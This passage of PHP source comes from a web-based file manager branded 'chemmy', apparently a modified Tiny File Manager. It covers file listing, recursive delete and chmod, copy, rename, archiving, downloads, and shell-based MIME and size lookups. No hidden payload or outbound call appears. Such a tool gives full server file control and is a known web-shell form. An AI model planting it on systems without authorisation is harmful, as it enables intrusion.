                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">chemmy <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">chemmy <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}


function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    }
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin and class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}


function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = ($size > 0) ? floor(log($size, 1024)) : 0;
    $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}


function fm_get_directorysize($directory) {
    $bytes = 0;
    $directory = realpath($directory);
    if ($directory !== false and $directory != '' and file_exists($directory)){
        foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){
            $bytes += $file->getSize();
        }
    }
    return $bytes;
}


function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' and function_exists('zip_open')) {
        $arch = @zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = @zip_read($arch)) {
                $zip_name = @zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => @zip_entry_filesize($zip_entry),
                    'compressed_size' => @zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                );
            }
            @zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' and class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}


function fanco($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}


function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[DN_CESSION_ID]['message'] = $msg;
    $_SESSION[DN_CESSION_ID]['status'] = $status;
}


function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}


function fm_convert_win($filename)
{
    if (FM_IS_WIN and function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}


function fm_object_to_array($obj)
{
    if (!is_object($obj) and !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}


function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'webp':
        case 'avif':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'ts':
        case 'jsx':
        case 'tsx':
        case 'hbs':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'rs':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
        case 'yaml':
        case 'yml':
        case 'toml':
        case 'tmp':
        case 'top':
        case 'bot':
        case 'dat':
        case 'bak':
        case 'htpasswd':
        case 'pl':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'bz2':
        case 'tbz2':
        case 'tbz':
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tgz':
        case 'tar':
        case '7z':
        case 'xz':
        case 'txz':
        case 'zst':
        case 'tzst':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
        case 'xspf':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
        case 'webm':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
        case 'swp':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}


function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif');
}


function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}


function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}


function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift',
        'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml',
        'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars',
        'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl'
    );
}


function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
        'application/json',
    );
}


function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}


function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['webp'] = 'image/webp';
    $fileTypes['avif'] = 'image/avif';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    //Unknown mime-types should be 'application/octet-stream'
    if(empty($fileTypes[$extension])) {
      $fileTypes[$extension] = ['application/octet-stream'];
    }
    return $fileTypes[$extension];
}


 function scan($dir = '', $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($path) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}


function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);

    if(is_array($contentType)) {
        $contentType = implode(' ', $contentType);
    }

    $size = filesize($fileLocation);

    if ($size == 0) {
        fm_set_msg(lng('Zero byte file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));

        return (false);
    }

    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }


    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }


    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }


    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }


    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}


 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'chemmy<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) and count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}


function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fanco(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
